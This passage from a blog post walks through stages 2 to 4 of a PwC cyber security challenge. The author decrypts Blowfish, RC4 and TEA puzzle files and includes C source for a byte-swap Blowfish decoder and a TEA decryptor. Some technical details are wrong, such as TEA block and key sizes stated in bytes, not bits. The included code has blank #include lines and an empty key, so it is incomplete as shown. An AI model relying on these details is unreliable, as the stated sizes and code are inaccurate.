The solution was a two step process, first swapping the bytes around before being decrypted and being swapped back again. The diagram below shows where the bytes in the block are before and after decryption:

64 bits

32 bits

32 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

Input byte

1

2

3

4

5

6

7

8

Byte swap

4

3

2

1

8

7

6

5

Blowfish decryption process

Byte swap

4

3

2

1

8

7

6

5

Output byte

1

2

3

4

5

6

7

8

Byteswap takes the input from stdin and then processes 32bit chunks, swapping bytes around before decrypting them and swapping them back before outputting them to stdout.

After a lot of trial and error I eventual deduced the endian-ness of the encrypted data and decrypted it.
./byteswap < CQ\ Pharma\ Proposal.zip.bfe > CQ\ Pharma\ Proposal.zip
Reading BF file from stdin and writing swapped output to stdout

On every attempt of decryption I would check the headers of the output to see if it was recognisable, as soon as I saw this output below, I knew I’d got a zip file:
hexdump -C CQ\ Pharma\ Proposal.zip | head -5
00000000 50 4b 03 04 0a 00 00 00 00 00 f3 28 68 42 00 00 |PK………(hB..|
00000010 00 00 00 00 00 00 00 00 00 00 12 00 00 00 34 34 |…………..44|
00000020 2e 31 33 31 36 34 31 2c 34 2e 33 35 31 34 38 36 |.131641,4.351486|
00000030 50 4b 03 04 0a 00 00 00 00 00 03 53 68 42 47 4f |PK………ShBGO|
00000040 ca 47 d2 03 03 00 d2 03 03 00 14 00 00 00 36 62 |.G…………6b|

Using 7z confirmed it:
7z l CQ\ Pharma\ Proposal.zip
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Listing archive: CQ Pharma Proposal.zip

Path = CQ Pharma Proposal.zip
Type = zip
Physical Size = 197908
Date Time Attr Size Compressed Name
——————- —– ———— ———— ————————
2013-03-08 05:07:37 ….A 0 0 44.131641,4.351486
2013-03-08 10:24:04 ….A 197586 197586 6bc34809e44c40b6.bin
——————- —– ———— ———— ————————
197586 197586 2 files, 0 folders

Stage 2 completed!

Stage 3 – Rue de l’Arc Four

The first step was to unzip the files and analyse them. Initial findings showed that the .bin file was data but with no identifiable headers.

The first of the two files in the 6bc34809e44c40b6.zip was a set of coordinates which resolved to a small village (or is it commune?) in France specifically Rue de l’Arc du Four, 30580 Vallérargues, France 8.7 m SE. After an initial search of the village, its history and the surround area I could find nothing special or anything related to a cipher, encryption, blowfish, APT1 or the like. It then dawned on me it was a play on words, “Arc du Four” was a reference to ARCFOUR otherwise known as RC4. The .bin file was an RC4 encrypted file!

RC4 unlike Blowfish is a stream cipher, it reads in and encrypts or decrypts a byte at a time which for decoding makes it easy to work with because after only a few bytes you know if you’re on the right track (or not as the case may be!)

Decrypting RC4 is simple with openssl, however, that would have been too simple for PwC – they made it tricky!

To decrypt the file I would need the key so I initially tried various permutations of the previous keys but to no avail, when lead me on to the filename, a string of hex bytes.

Again, as in the previous stages I tried hundreds of permutations of the filename for the key, converting to ASCII, reversing bytes etc but again to all know avail. I then got onto the stage where I left the hex bytes as readable ASCII and then used the hex bytes as the key, like so:
hexdump -C rc4a.key
36 62 63 33 34 38 30 39 65 34 34 63 34 30 62 36 |6bc34809e44c40b6|

Again I spent a long time using openssl to read variations of the key stored in a file, this did not produce any results, so I tried the same variations using the key entered directly from the command line.

This was frustrating as the plain file name variation worked straight away, so it was either my lack of knowledge of openssl or a bug with using a key in a file. Once I’d got the right command line key though the .bin file was successfully decrypted with:
openssl enc -d -rc4 -in 6bc34809e44c40b6.bin -out 6bc34809e44c40b6.bin.out -K 36626333343830396534346334306236 –nosalt

The enc –d parameter is openssl’s way of saying decrypt this file, -rc4 is obviously the cipher, -in donates the encrypted file, -out the file to write to, -K is the key to use to decrypt the –in file with and –nosalt tells openssl that the key does not contain a salt.

I confirmed this as usual by looking at the headers and recognising the PK header:
hexdump -C 6bc34809e44c40b6.bin.out | head -5
00000000 50 4b 03 04 0a 00 00 00 00 00 a3 52 68 42 be 3a |PK………RhB.:|
00000010 c6 f5 90 02 03 00 90 02 03 00 14 00 00 00 31 64 |…………..1d|
00000020 64 32 39 65 30 61 33 38 37 65 65 36 38 32 2e 62 |d29e0a387ee682.b|
00000030 69 6e 7c 15 3b 66 e5 1f 2e 9c 10 db 5c ae f0 c7 |in|.;f……\…|
00000040 4a 01 5c af 11 79 9b 3c 5b 20 4f 6b 3e 59 78 49 |J.\..y.<[ Ok>YxI|

And again confirmed it was a genuine zip file using 7z:
7z l 6bc34809e44c40b6.bin.zip7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Listing archive: 6bc34809e44c40b6.bin.zip

Path = 6bc34809e44c40b6.bin.zip
Type = zip
Physical Size = 197586
Date Time Attr Size Compressed Name
——————- —– ———— ———— ————————
2013-03-08 10:21:05 ….A 197264 197264 1dd29e0a387ee682.bin
2013-03-07 11:51:46 ….A 0 0 54.53044,-1.356608
——————- —– ———— ———— ————————
197264 197264 2 files, 0 folders

Oh good, another .bin file and a set of coordinates, Stage 3 completed though!

Stage 4 – Any one for tea?

The same drill as the last stage, a .bin file and a set of coordinates, this time they turn out to be an industrial estate up in Stockton, 11 Sowerby Way, Stockton-on-Tees TS16, to be exact. Searches relating to cryptography, encryption or ciphers were few and far between for the area, the closest being a reference to Dr. Tracy Sowerby of Keble College, Oxford who authored a book/paper, called “The role of the ambassador and the use of cipher“, which was an interesting read but irrelevant for this challenge. The other (potentially) relevant reference I found was to a mathematician called Francis Sowerby Macaulay from Cambridge who devised some algebra system, again irrelevant for this challenge.

The next step was to start thinking laterally, so I listed out all the road names in the vicinity:

  • Cleasby Way
  • Guiseley Way
  • Wass Way
  • Boltby Way
  • Black Diamond Way
  • Diligence Way <- Hmmm! How appropriate!
  • Durham Lane Industrial Park – the name of the estate all the road were on.

All this effort of course amounted to nothing other than expand my knowledge of the Durham Lane Industrial Park. The one thing I like about challenges like this though is that they get you reading! J

Next on the list were companies in the area.

  • Tetley
  • Carroll & Meynell Transformers
  • Fibergate Composite Structures
  • 3G Tooling
  • Ultralux
  • At home

Top of the list was Tetley (they make tea bags, make tea!), lots of results for “The Magdalene Cipher” and non-relevant Tea Bag related stuff but again nothing that I could see linking it to the problem at hand, then on around page 54 of a random Google search I came across TEA – Tiny Encryption Algorithm – which I had heard of before but never used or paid much attention to. Further research ensued and finally I figured that could be a good a link as any for the encryption used for the .bin file. TEA is block based cipher like Blowfish, it works on chunks of data at a time and requires a key to encrypt and decrypt. Two key points of the TEA algorithm are that it works with 64 byte data blocks made up of 2 x 32 bytes blocks (similar to Blowfish) and a key which is 128 bytes. Coincidently the filename of the .bin file 1dd29e0a387ee682 is 128bytes, so I’m assuming that that in some form will be the key.

The next task was to implement the algorithm into a program. I combined the Wikipedia example code for TEA and XXTEA (which is a new improved flavour of tea) just to make sure I tried both at the same time to reduce testing time.

The program was built under the same principle as my byteswap code, taking an input from stdin and outputting it to stdout. Again hundreds of different keys were tried until I came up with the correct one and eventually it produced a decrypted file.

This time it wasn’t the data that had it bytes swapped around but the key itself and fortunately the bytes themselves were kept in groups. The filename of the .bin file had effectively been split into four 32 bit groups and each of these had had its endian flipped to have this configuration:

128 bits

64 bits

64 bits

32 bits

32 bits

32 bits

32 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

8 bits

Original key

0

1

2

3

4

5

6

7

8

9

A

B

C

D

E

F

Modified key

3

2

1

0

7

6

5

4

B

A

9

8

F

E

D

C

In the form of the real key this took the original key below:
31646432 39653061 33383765 65363832
And turned it into this:
32646431 61306539 65373833 32383665
The application I put together imaginatively named tea (source code in Appendix 2 – tea.c) takes input from stdin and outputs to stdout like so:
./tea < 1dd29e0a387ee682.bin > 1dd29e0a387ee682.bin.out
And to confirm the file was decrypted correctly I used hexdump again:
hexdump -C 1dd29e0a387ee682.bin.out | head -5
Reading Tea file from stdin and decrypting to stdout
Processing 197264 bytes
Done – Success!

00000000 50 4b 03 04 14 00 02 00 08 00 8d ac 66 42 2d 80 |PK……….fB-.|
00000010 28 73 d3 01 03 00 c7 15 03 00 1b 00 00 00 50 77 |(s…………Pw|
00000020 43 2d 43 53 43 2d 43 6f 6e 67 72 61 74 75 6c 61 |C-CSC-Congratula|
00000030 74 69 6f 6e 73 2e 70 64 66 e4 fb 55 54 64 4d d3 |tions.pdf..UTdM.|
00000040 36 0c 16 4e 23 0d 34 ee d0 b8 bb 3b 34 d0 b8 bb |6..N#.4….;4…|
Another zip, but finally a hint of congratulations!

After around three weeks of part-time crypto-analysis I had finally succeeded, Spasibo bolshoe PwC.

Appendix 1 – Byteswap.c

The following C code takes input from stdin and then swaps the bytes of the encrypted Blowfish file in 32 byte blocks within the Blowfish 64 byte chunks. It then decodes the bytes using the password before swapping the 32 byte blocks back and outputting to stdout.

/*
* Byteswap.c
* gcc -o byteswap byteswap.c -lcrypto
* (C)2013 TabChalk
* Program to swap endianness of BF encrypted file for CSCUK PwC challenge
*/
#include
#include
#include

void swap(char *p) {
char tmp0,tmp1,tmp2,tmp3,tmp4,tmp5,tmp6,tmp7;

tmp0 = p[0];
tmp1 = p[1];
tmp2 = p[2];
tmp3 = p[3];
tmp4 = p[4];
tmp5 = p[5];
tmp6 = p[6];
tmp7 = p[7];

p[0] = tmp3;
p[1] = tmp2;
p[2] = tmp1;
p[3] = tmp0;
p[4] = tmp7;
p[5] = tmp6;
p[6] = tmp5;
p[7] = tmp4;
}

int main(int argc, char *argv[]) {
void *in, *out;
int count;
BF_KEY *key = calloc(1,sizeof(BF_KEY));
if(argc < 1) {
fprintf(stderr, “usage %s < in > out\n”, argv[0]);
exit(-1);
}

fprintf(stderr, “Reading BF file from stdin and writing swapped output to stdout\n”);
in = (void *) malloc(8);
out = (void *) malloc(8);
count = 0;
while(fread(in, 8, 1, stdin) == 1) {
count++;
fprintf(stderr, “Processing %i bytes\r”,count*8);
swap((char*)in);
BF_set_key(key, 9,(const unsigned char*)”“);
BF_ecb_encrypt(in,out,key, BF_DECRYPT);
swap((char*)out);
fwrite(out, 8, 1, stdout);
}

free(in);
fprintf(stderr, “\nDone – Success!\n”);
return(0);

}

Appendix 2 – tea.c

This file takes input from stdin, decrypts it using the key and then outputs it to stdout. The key manipulation is manually intensive so in the future I would probably put that in ARGV[1] and run it from the command line.

/*
* tea.c
* gcc -o tea tea.c
* (C)2013 TabChalk
* Program to encrypt or decrypt TEA file for CSCUK PwC challenge
*/
#include
#include
#include
#define uint32_t unsigned int

void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */

for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}

uint32_t key[4] = {0x32646431, 0x61306539, 0x65373833, 0x32383665};

int main(int argc, char *argv[]) {
void *in;
int count;

if(argc < 1) {
fprintf(stderr, “usage %s < in > out\n”, argv[0]);
exit(-1);
}

fprintf(stderr, “Reading Tea file from stdin and decrypting to stdout\n”);
in = (void *) malloc(8);
count = 0;
while(fread(in, 8, 1, stdin) == 1) {
count++;
fprintf(stderr, “Processing %i bytes\r”,count*8);
decrypt(in, key);
fwrite(in, 8, 1, stdout);
}

free(in);
fprintf(stderr, “\nDone – Success!\n”);
return(0);
}

(24103)

Tagged with:
 

Leave a Reply

Your email address will not be published. Required fields are marked *